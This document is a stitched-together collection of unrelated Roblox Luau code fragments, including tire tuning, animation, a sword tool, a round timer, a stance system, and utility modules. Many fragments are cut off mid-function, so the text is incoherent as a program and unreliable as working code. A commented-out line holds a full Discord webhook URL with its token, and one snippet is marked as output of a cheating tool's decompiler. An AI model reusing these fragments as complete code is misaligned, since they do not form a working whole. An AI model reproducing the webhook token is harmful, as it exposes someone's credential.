car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
------------------ ------------------
function waitForChild(parent, childName) while true do local child = parent:findFirstChild(childName) if child then return child end parent.ChildAdded:wait() end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Zombie") local pose = "Standing" local toolAnim = "None" local toolAnimTime = 0 local isSeated = false function onRunning(speed) if isSeated then return end if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() isSeated = false pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onDancing() pose = "Dancing" end function onFallingDown() pose = "FallingDown" end function onSeated() isSeated = true pose = "Seated" end function moveJump() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFreeFall() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1 LeftShoulder.DesiredAngle = -1 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFloat() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = -1.57 end function moveBoogy() while pose=="Boogy" do wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 1.57 end end function moveZombie() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function movePunch() script.Parent.Torso.Anchored=true RightShoulder.MaxVelocity = 60 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 wait(1) script.Parent.Torso.Anchored=false pose="Standing" end function moveKick() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveFly() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveClimb() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = -3.14 /2 LeftShoulder.DesiredAngle = -3.14 /2 RightHip.DesiredAngle = 3.14 /2 LeftHip.DesiredAngle = -3.14 /2 end function getTool() kidTable = Figure:children() if (kidTable ~= nil) then numKids = #kidTable for i=1,numKids do if (kidTable[i].className == "Tool") then return kidTable[i] end end end return nil end function getToolAnim(tool) c = tool:children() for i=1,#c do if (c[i].Name == "toolanim" and c[i].className == "StringValue") then return c[i] end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder.DesiredAngle = -1.57 return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 1.0 return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "Zombie") then moveZombie() return end if (pose == "Boogy") then moveBoogy() return end if (pose == "Float") then moveFloat() return end if (pose == "Punch") then movePunch() return end if (pose == "Kick") then moveKick() return end if (pose == "Fly") then moveFly() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Climbing") then moveClimb() return end if (pose == "Seated") then moveSit() return end amplitude = 0.1 frequency = 1 RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 if (pose == "Running") then amplitude = 1 frequency = 9 elseif (pose == "Dancing") then amplitude = 2 frequency = 16 end desiredAngle = amplitude * math.sin(time*frequency) if pose~="Dancing" then RightShoulder.DesiredAngle = -desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle else RightShoulder.DesiredAngle = desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle end local tool = getTool() if tool ~= nil then animStringValueObject = getToolAnim(tool) if animStringValueObject ~= nil then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
--[[local function VisualizeRay(ray,RayLength) local RayCast = Instance.new("Part") RayCast.Material = Enum.Material.Neon RayCast.Color = Color3.new(0,1,0) RayCast.Size = Vector3.new(0.2,0.2,(RayLength or 5)) RayCast.CFrame = CFrame.new(ray.Origin, ray.Origin+ray.Direction) * CFrame.new(0, 0, -(RayLength or 5) / 2) RayCast.Anchored = true RayCast.CanCollide = false RayCast.Parent = workspace Debris:AddItem(RayCast,0.5) end]]
function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(GetChildren(humanoid)) do if IsA(v,"ObjectValue") and v.Name == "creator" then Destroy(v) end end end local Player, Character, Humanoid local Seed = Random.new(tick()) local Hit_WhiteList = {} function Touched(hit) if not hit or not hit.Parent then return end Hit_WhiteList[1] = hit --Replace the Whitelisted entry (Also helps reduce lag) --Do a Server-sided check to make sure the sword is in reasonable distance to the part hit (To prevent exploits) local DistanceRay = NewRay( Handle.Position , (hit.Position - Handle.Position).Unit * math.max(Handle.Size.X,Handle.Size.Y,Handle.Size.Z) * 2 ) local part = workspace:FindPartOnRayWithWhitelist(DistanceRay, Hit_WhiteList , true) --warn((part and "Part in range") or "Part not in range") --assert(part, "Part not in range: Potential exploit") if part ~= hit then return end -- Potential exploiter may be abusing the touched events local FF, Hum = FindFirstChildOfClass(hit.Parent, "ForceField"), FindFirstChildOfClass(hit.Parent, "Humanoid") if FF or not Hum or Hum == Humanoid or Hum.Health <= 0 then return end --Don't hit yourself or anyone with a ForceField now.. if IsTeamMate(Player, Players:GetPlayerFromCharacter(Hum.Parent)) then return end if Properties.Special then Properties.Special = false pcall(function() --Handle["Sparkle_Large_Blue"].Enabled = false Handle["Sparkle_Large_Blue"].Rate = Handle["Sparkle_Large_Blue"].Rate * 8 end) local Constellation_Link = Clone(WaitForChild(script, "Constellation_Link")) local Val = Instance.new("ObjectValue") Val.Name = "HandleRef" Val.Value = Handle Val.Parent = Constellation_Link Val = Instance.new("ObjectValue") Val.Name = "Creator" Val.Value = Player Val.Parent = Constellation_Link Val = Instance.new("ObjectValue") Val.Name = "InitialTarget" Val.Value = Hum Val.Parent = Constellation_Link Constellation_Link.Parent = ServerScriptService Constellation_Link.Disabled = false Constellation_Link.AncestryChanged:Connect(function(obj, parent) if parent then return end if obj ~= Constellation_Link then return end print("Reloading...") pcall(function() Handle["Sparkle_Large_Blue"].Enabled = false Handle["Sparkle_Large_Blue"].Rate = Handle["Sparkle_Large_Blue"].Rate / 8 end) delay(Properties.Special_Reload, function() pcall(function() Handle["Sparkle_Large_Blue"].Enabled = true end) Properties.Special = true end) end) end UntagHumanoid(Hum) TagHumanoid(Hum, Player) local Damage = Seed:NextNumber(Properties["DamageValues"][Properties.DamageMode].Min, Properties["DamageValues"][Properties.DamageMode].Max) Hum:TakeDamage(Damage) if Hum.Health <= 0 then --Finisher activated! local Finisher = Clone(WaitForChild(script, "Finisher")) Finisher.Parent = Hum.Parent Finisher.Disabled = false end end local LastAttack = tick() function Activated() if not Tool.Enabled then return end Tool.Enabled = false local CurrentTime = tick() if (CurrentTime - LastAttack) <= 0.2 then for _,v in pairs(GetChildren(Handle)) do if v and IsA(v, "ParticleEmitter") then coroutine.wrap(function() local x = 0 repeat local delta = RunService.Heartbeat:Wait() x = x + delta v:Emit((v.Enabled and math.ceil(v.Rate * .25)) or 0) until x >= .5 end)() end end Sounds.Lunge:Play() Tool.Grip = DefaultGrip.Value * CFrame.Angles(math.rad(90),0,0) local LungeAnim = Instance.new("StringValue") LungeAnim.Name = "toolanim" LungeAnim.Value = "Lunge" LungeAnim.Parent = Tool --Lunge Properties.DamageMode = "Lunge" --Should allow the sword to deal more damage while lunging --print("Lunge") wait(.5) Properties.DamageMode = "Normal" Tool.Grip = DefaultGrip.Value wait(.5) else --Slash Sounds.Slash.TimePosition = Sounds.Slash.TimeLength/2 Sounds.Slash:Play() local SwingAnim = Instance.new("StringValue") SwingAnim.Name = "toolanim" SwingAnim.Value = "Slash" SwingAnim.Parent = Tool --print("Swing") end LastAttack = CurrentTime Tool.Enabled = true end local Events = {} function Equipped() Character = Tool.Parent if not Character then return end Humanoid = FindFirstChildOfClass(Character, "Humanoid") if not Humanoid or Humanoid.Health <= 0 then return end Sounds.Equip:Play() Player = Players:GetPlayerFromCharacter(Character) if Player then Events[#Events+1] = Player.CharacterRemoving:Connect(Unequipped) --To keep some things from breaking end Events[#Events+1] = Handle.Touched:Connect(Touched) Events[#Events+1] = Tool.Activated:Connect(Activated) Events[#Events+1] = Humanoid.Died:Connect(Unequipped) Humanoid.WalkSpeed = Properties.SpeedCap Events[#Events+1] = Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function() if not Humanoid then return end Humanoid.WalkSpeed = Properties.SpeedCap end) end function Unequipped() for i=1,#Events,1 do if Events[i] then Events[i]:Disconnect() end end Events = {} if Humanoid then Humanoid.WalkSpeed = 16 end end Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped)
-- 1 Minute Roblox
ServerStorage = game:GetService("ServerStorage") ReplicatedStorage = game:GetService("ReplicatedStorage") Players = game:GetService("Players") Maps = ServerStorage:WaitForChild('Maps'):GetChildren() Status = ReplicatedStorage:WaitForChild('Status') while true do --Intermission local Countdown = 20 -- ten second intermission, make this as long as you want repeat wait(1) Countdown = Countdown - 1 Status.Value = 'Intermission : '..Countdown until Countdown <= 0 --Choose the map. Status.Value = 'Choosing Map.' local ChosenMap = Maps[math.random(1, #Maps)]:Clone() local Spawns = ChosenMap:FindFirstChild('Spawns'):GetChildren() local RandomSpawn = Spawns[math.random(1, #Spawns)] wait(5) -- little pause, make this as long as you want ChosenMap.Parent = workspace Status.Value = 'Map chosen, teleporting players.' wait(2) -- little pause, make this as long as you want --teleport the players for _, Player in pairs(Players:GetChildren())do if Player.Character and Player.Character:FindFirstChild('Humanoid') then Player.Character.HumanoidRootPart.CFrame = RandomSpawn.CFrame end end Countdown = 5 -- Starting Round In, make this as long as you want repeat wait(1) Countdown = Countdown - 1 Status.Value = 'Starting Round in : '..Countdown until Countdown <= 0 Countdown = 5 -- Game Time, ten seconds so the video isn't long, make this as long as you want. repeat wait(1) Countdown = Countdown - 1 Status.Value = 'Ingame : '..Countdown until Countdown <= 0 --Kill the players for _, Player in pairs(Players:GetChildren())do if Player.Character and Player.Character:FindFirstChild('Humanoid') then Player.Character.Humanoid:TakeDamage(2000) end end ChosenMap:Destroy() Status.Value = 'Round Ended, waiting for new game.' wait(4) -- little pause, make this as long as you want. end
--[[ tweenJoint Function Parameters: Object Joint - This has to be a weld with a C0 and C1 property CFrame newC0 - This is what the new C0 of the weld will be. You can put nil if you don't want to effect the C0 CFrame newC1 - This is what the new C1 of the weld will be. You can put nil if you don't want to effect the C1 function Alpha - This is an alpha function that takes an input parameter of a number between 0 and 90 and returns a number between 0 and 1. For example, function(X) return math.sin(math.rad(X)) end float Duration - This is how long the tweening takes to complete --]]
local RS = game:GetService("RunService") local Proned2 Rendido.Changed:Connect(function() Stance:FireServer(Stances,Virar,Rendido.Value) end) Algemado.Changed:Connect(function() Stance:FireServer(Stances,Virar,Rendido.Value) end) function Stand() Stance:FireServer(Stances,Virar,Rendido.Value) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play() if Steady then Humanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value Humanoid.JumpPower = ServerConfig.JumpPower else if Ferido.Value == false then Humanoid.WalkSpeed = ServerConfig.NormalWalkSpeed * StancesPasta.Mobility.Value Humanoid.JumpPower = ServerConfig.JumpPower else Humanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value Humanoid.JumpPower = ServerConfig.JumpPower end end IsStanced = false Proned2 = Vector3.new(0,0,0) end function Crouch() Stance:FireServer(Stances,Virar,Rendido.Value) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play() Humanoid.WalkSpeed = ServerConfig.CrouchWalkSpeed * StancesPasta.Mobility.Value Humanoid.JumpPower = 0 IsStanced = true Proned2 = Vector3.new(0,0,0) end function Prone() Stance:FireServer(Stances,Virar,Rendido.Value) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play() if Rendido.Value == true then Humanoid.WalkSpeed = 0 else Humanoid.WalkSpeed = ServerConfig.ProneWalksSpeed * StancesPasta.Mobility.Value end Humanoid.JumpPower = 0 IsStanced = true Proned2 = Vector3.new(0,0.5,0.5) end function Lean() TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play() Stance:FireServer(Stances,Virar,Rendido.Value) end UserInputService.InputBegan:Connect(function(input, gameProcessed) if not gameProcessed then if input.KeyCode == Enum.KeyCode.C and Stances == 0 and ChangeStance and Caido.Value == false and Correndo.Value == false and Rappeling.Value == false and rodeath.Value == false and not _G.Lean and not Sentado then Stances = 1 --CameraX = 0 CameraY = -1 Poses.Levantado.Visible = false Poses.Agaixado.Visible = true Poses.Deitado.Visible = false Crouch() _G.Crouched = true elseif input.KeyCode == Enum.KeyCode.C and Stances == 1 and ChangeStance and Caido.Value == false and Correndo.Value == false and Rappeling.Value == false and not _G.Lean and not Sentado then Stances = 2 CameraX = 0 CameraY = -3.25 Virar = 0 Poses.Levantado.Visible = false Poses.Agaixado.Visible = false Poses.Deitado.Visible = true Poses.Esg_Right.Visible = false Poses.Esg_Left.Visible = false Lean() Prone() _G.Crouched = false _G.Proned = true elseif input.KeyCode == Enum.KeyCode.X and Stances == 2 and ChangeStance and Caido.Value == false and Correndo.Value == false and Rappeling.Value == false and rodeath.Value == false and not _G.Lean and not Sentado then _G.Crouched = true _G.Proned = false Stances = 1 --CameraX = 0 CameraY = -1 Poses.Levantado.Visible = false Poses.Agaixado.Visible = true Poses.Deitado.Visible = false Crouch() elseif input.KeyCode == Enum.KeyCode.X and Stances == 1 and ChangeStance and Caido.Value == false and Correndo.Value == false and Rappeling.Value == false and rodeath.Value == false and not _G.Lean and not Sentado then _G.Crouched = false Stances = 0 --CameraX = 0 CameraY = 0 Poses.Levantado.Visible = true Poses.Agaixado.Visible = false Poses.Deitado.Visible = false Stand() elseif input.KeyCode == Enum.KeyCode.Z and ChangeStance and Caido.Value == false and Correndo.Value == false and rodeath.Value == false then if not Steady then Steady = true Poses.Steady.Visible = true if Stances == 0 then Stand() Humanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value end else Steady = false Poses.Steady.Visible = false if Stances == 0 then Stand() Humanoid.WalkSpeed = ServerConfig.NormalWalkSpeed * StancesPasta.Mobility.Value end end elseif input.KeyCode == Enum.KeyCode.E and Stances ~= 2 and ChangeStance and Caido.Value == false and Correndo.Value == false and rodeath.Value == false and not _G.Lean and CanLean then if Virar == 0 or Virar == -1 then Virar = 1 CameraX = 1.75 Poses.Esg_Right.Visible = true Poses.Esg_Left.Visible = false else Virar = 0 CameraX = 0 Poses.Esg_Right.Visible = false Poses.Esg_Left.Visible = false end Lean() elseif input.KeyCode == Enum.KeyCode.Q and Stances ~= 2 and ChangeStance and Caido.Value == false and Correndo.Value == false and rodeath.Value == false and not _G.Lean and CanLean then if Virar == 0 or Virar == 1 then Virar = -1 CameraX = -1.75 Poses.Esg_Right.Visible = false Poses.Esg_Left.Visible = true else Virar = 0 CameraX = 0 Poses.Esg_Right.Visible = false Poses.Esg_Left.Visible = false end Lean() elseif input.KeyCode == Enum.KeyCode.LeftShift and Correndo.Value == false and Ferido.Value == false and Caido.Value == false and Rappeling.Value == false and rodeath.Value == false and not _G.Lean and not Sentado and not cansado then if Velocidade > 0 then ChangeStance = false Correndo.Value = true --Steady = false Stand() Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Lean() Poses.Levantado.Visible = true Poses.Agaixado.Visible = false Poses.Deitado.Visible = false Poses.Esg_Right.Visible = false Poses.Esg_Left.Visible = false Humanoid.WalkSpeed = ServerConfig.RunWalkSpeed * StancesPasta.Mobility.Value end end end end) UserInputService.InputEnded:Connect(function(input, gameProcessed) if not gameProcessed then if input.KeyCode == Enum.KeyCode.LeftShift and Correndo.Value == true and not _G.Lean then ChangeStance = true Correndo.Value = false if Steady then Humanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value Poses.Steady.Visible = true else Humanoid.WalkSpeed = ServerConfig.NormalWalkSpeed * StancesPasta.Mobility.Value Poses.Steady.Visible = false end end end end) Stand() Humanoid.Died:Connect(function() TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play() ChangeStance = false Main.Visible = false end) Humanoid.Seated:Connect(function(IsSeated) local Seat = Humanoid.SeatPart if IsSeated then Sentado = true Stand() Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Lean() Poses.Levantado.Visible = true Poses.Agaixado.Visible = false Poses.Deitado.Visible = false Poses.Esg_Right.Visible = false Poses.Esg_Left.Visible = false if Seat:IsA("VehicleSeat") or ("Seat") then CanLean = false end else Sentado = false CanLean = true end end) Humanoid.Running:Connect(function(Speed)
--[=[ Event fires when the spring value changes @prop Changed Signal<()> -- Fires whenever the spring initially changes state @within ValueObject ]=]
self._maid:GiveTask(self.Changed) if target then self.Target = target else self:_getSpringForType(0) end if speed then self.Speed = speed end if damper then self.Damper = damper end return self end
-- Model name
print("BlackeyeI's Spotlight Loaded")
--[[Wheel Alignment]] --[Don't physically apply alignment to wheels] --[Values are in degrees]
Tune.FCamber = -5 Tune.RCamber = -5 Tune.FToe = 0 Tune.RToe = 0
--[=[ Merges the existing brio value with the other brio @param brio Brio<{T}> @param otherBrio Brio<{U}> @return Brio<{T | U}> ]=]
function BrioUtils.merge(brio, otherBrio) assert(Brio.isBrio(brio), "Not a brio") assert(Brio.isBrio(otherBrio), "Not a brio") if brio:IsDead() or otherBrio:IsDead() then return Brio.DEAD end local values = brio._values local current = {} for i=1, values.n do current[i] = values[i] end local otherValues = otherBrio._values for i=1, otherValues.n do current[values.n+i] = otherValues[i] end local maid = Maid.new() local newBrio = Brio.new(unpack(current, 1, values.n + otherValues.n)) maid:GiveTask(brio:GetDiedSignal():Connect(function() newBrio:Kill() end)) maid:GiveTask(otherBrio:GetDiedSignal():Connect(function() newBrio:Kill() end)) maid:GiveTask(newBrio:GetDiedSignal():Connect(function() maid:DoCleaning() end)) return newBrio end return BrioUtils
-- Decompiled with the Synapse X Luau decompiler.
local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Resources")); end)(); return function(p1, p2, ...) local v1 = ...; p1.title.Text = v1; u1.Shared.ApplyRarityColor(p1.title.back, v1); end;
-- initiate
repeat local success = pcall(function() StarterGui:SetCore("TopbarEnabled", false) end) wait() until success for _, v in pairs(StarterGui:GetChildren()) do v:Clone().Parent = PLAYER_GUI end CAMERA.CameraType = Enum.CameraType.Scriptable CAMERA.CFrame = CFrame.new(0, 0, 100)
--CastBehavior.Acceleration = BULLET_GRAVITY
CastBehavior.AutoIgnoreContainer = false -- We already do this! We don't need the default value of true (see the bottom of this script)
-- Color shortcuts: you can use these strings instead of defining exact color values
local colors = {} colors.White = Color3.new(1, 1, 1) colors.Black = Color3.new(0, 0, 0) colors.Red = Color3.new(1, 0.2, 0.2) colors.Green = Color3.new(0.2, 1, 0.2) colors.Blue = Color3.new(0.2, 0.2, 1)
----------------- --| Constants |-- -----------------
local COOLDOWN = 4 -- Seconds until tool can be used again
-- NOTICE: Player property names do not all match their StarterPlayer equivalents, -- with the differences noted in the comments on the right
local PLAYER_CAMERA_PROPERTIES = { "CameraMinZoomDistance", "CameraMaxZoomDistance", "CameraMode", "DevCameraOcclusionMode", "DevComputerCameraMode", -- Corresponds to StarterPlayer.DevComputerCameraMovementMode "DevTouchCameraMode", -- Corresponds to StarterPlayer.DevTouchCameraMovementMode -- Character movement mode "DevComputerMovementMode", "DevTouchMovementMode", "DevEnableMouseLock", -- Corresponds to StarterPlayer.EnableMouseLockOption } local USER_GAME_SETTINGS_PROPERTIES = { "ComputerCameraMovementMode", "ComputerMovementMode", "ControlMode", "GamepadCameraSensitivity", "MouseSensitivity", "RotationType", "TouchCameraMovementMode", "TouchMovementMode", }
-- ================================================================================ -- FUNCTIONS -- ================================================================================ -- Heartbeat
function PhysicsUpdate(step) if dead then physicsUpdateHandle:Disconnect() if character ~= nil then character:Destroy() end PlayerConverter:UnlockPlayerControls() end GetInput(step) engine:Update() guiController:UpdateSpeed() -- Update boost GUI guiController:UpdateBoost(boostAmount) end -- PhysicsUpdate()
--[=[ Starts the service bag and all services ]=]
function ServiceBag:Start() assert(self._serviceTypesToStart, "Already started") assert(not self._initializing, "Still initializing") while next(self._serviceTypesToStart) do local serviceType = table.remove(self._serviceTypesToStart) local service = assert(self._services[serviceType], "No service") if service.Start then local current task.spawn(function() current = coroutine.running() service:Start() end) assert(coroutine.status(current) == "dead", "Starting service yielded") end end self._serviceTypesToStart = nil end
--//Created by PlaasBoer -- Set up table to return to any script that requires this module script
local PlayerStatManager = {}
-- Private Methods
function init(self) local element = self.Element local maid = self._Maid local dragBind = self._DragBind local lastMousePosition = Vector3.new() maid:Mark(self._DragBind) maid:Mark(self._StartBind) maid:Mark(self._StopBind) maid:Mark(element.InputBegan:Connect(function(input) if (VALID_PRESS[input.UserInputType]) then lastMousePosition = input.Position self.IsDragging = true self._StartBind:Fire() end end)) maid:Mark(UIS.InputEnded:Connect(function(input) if (VALID_PRESS[input.UserInputType]) then self.IsDragging = false self._StopBind:Fire() end end)) maid:Mark(UIS.InputChanged:Connect(function(input, process) if (self.IsDragging) then if (VALID_MOVEMENT[input.UserInputType]) then local delta = input.Position - lastMousePosition lastMousePosition = input.Position dragBind:Fire(element, input, delta) end end end)) end
--Char remotes stuffs
local charRemotes = char.Remotes local updateInputHoldEvent = charRemotes.UpdateInputHold local updateHoverObjectEvent = charRemotes.UpdateHoverObject local deleteInteractionUIEvent = charRemotes.DeletedInteractionUI
--// Events
local L_40_ = L_5_:WaitForChild('TurnOff') local L_41_ = L_5_:WaitForChild('TurnOn') local L_42_ = L_5_:WaitForChild('DustEvent') local L_43_ = L_5_:WaitForChild('FXEvent') local L_44_ = L_5_:WaitForChild('HitEvent') local L_45_ = L_5_:WaitForChild('DamageEvent') local L_46_ = L_5_:WaitForChild('CreateOwner')
-- A state object which follows another state object using spring simulation.
export type Spring<T> = PubTypes.Spring<T> & { _speed: PubTypes.CanBeState<number>, _speedIsState: boolean, _lastSpeed: number, _damping: PubTypes.CanBeState<number>, _dampingIsState: boolean, _lastDamping: number, _goalState: State<T>, _goalValue: T, _currentType: string, _currentValue: T, _springPositions: {number}, _springGoals: {number}, _springVelocities: {number} }
--local URL = "https://discord.com/api/webhooks/923591714990596156/bwbOydg818zWTN0VyZRsY2--IJhf7GqHnx7PMRGiqx9fMbQn0HN9DCWuaB0riCFIATBW"
-- Functions --
local function playSoundLocal(sId,sParent) local sound = Instance.new("Sound",sParent) sound.SoundId = "http://www.roblox.com/asset/?id="..sId sound:Play() sound:Destroy() end local function onClicked(player) print(player.Name.." clicked on Uniform Giver") playSoundLocal(152206246,player) -- Declaring the sound ID and Parent local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt if not foundShirt then -- if there is no shirt print("No shirt found, creating for "..player.Name) local newShirt = Instance.new("Shirt",player.Character) newShirt.Name = "Shirt" else if foundShirt then -- if there is a shirt print("Shirt found, reconstructing for "..player.Name) player.Character.Shirt:remove() local newShirt = Instance.new("Shirt",player.Character) newShirt.Name = "Shirt" end end local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants if not foundPants then -- if there are no pants print("No pants found, creating for "..player.Name) local newPants = Instance.new("Pants",player.Character) newPants.Name = "Pants" else if foundPants then -- if there are pants print("Pants found, reconstructing for "..player.Name) player.Character.Pants:remove() local newPants = Instance.new("Pants",player.Character) newPants.Name = "Pants" end end player.Character.Shirt.ShirtTemplate = shirtId player.Character.Pants.PantsTemplate = pantsId end local function onHoverEnter(player) cPart.Transparency = .1 cPart.BrickColor = BrickColor.White() end local function onHoverLeave(player) cPart.BrickColor = BrickColor.Gray() cPart.Transparency = 1 end
-- emote bindable hook
if FFlagAnimateScriptEmoteHook then script:WaitForChild("PlayEmote").OnInvoke = function(emote) -- Only play emotes when idling if pose ~= "Standing" then return end if emoteNames[emote] ~= nil then -- Default emotes playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid) if userPlayEmoteByIdAnimTrackReturn then return true, currentAnimTrack else return true end elseif typeof(emote) == "Instance" and emote:IsA("Animation") then -- Non-default emotes playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid) if userPlayEmoteByIdAnimTrackReturn then return true, currentAnimTrack else return true end end -- Return false to indicate that the emote could not be played return false end end if (not FFlagUserFixLoadAnimationError) or Character.Parent ~= nil then -- initialize to idle playAnimation("idle", 0.1, Humanoid) pose = "Standing" end
--[=[ function information. ]=]
local function functionName() end
--// Weapon Parts
local L_38_ = L_1_:WaitForChild('AimPart') local L_39_ local L_40_ = L_1_:WaitForChild('Grip') local L_41_ = L_1_:WaitForChild('FirePart') local L_42_ local L_43_ = L_1_:WaitForChild('Mag') local L_44_ = L_1_:WaitForChild('Bolt')
-- << SERVICES/VARIABLES >>
local players = game:GetService("Players") local tweenService = game:GetService("TweenService") local debris = game:GetService("Debris") local hdMain = require(game:GetService("ReplicatedStorage"):WaitForChild("HDAdminSetup")):GetMain() local hd = hdMain:GetModule("API") local rankId = tonumber(rank) or hd:GetRankId(rank) local rankName = hd:GetRankName(rankId)
-- ключ значений у игрока в DataStore2
local DS2key = script.Parent.Parent.Name -- "MaxHeight1" local clickDetector = script.Parent.ClickDetector function onMouseClick(plr) -- для игрока plr, для ключа, установить 0 module.Set(plr,DS2key,0) end clickDetector.MouseClick:Connect(onMouseClick)
------------------------------------------------------------------------------------------
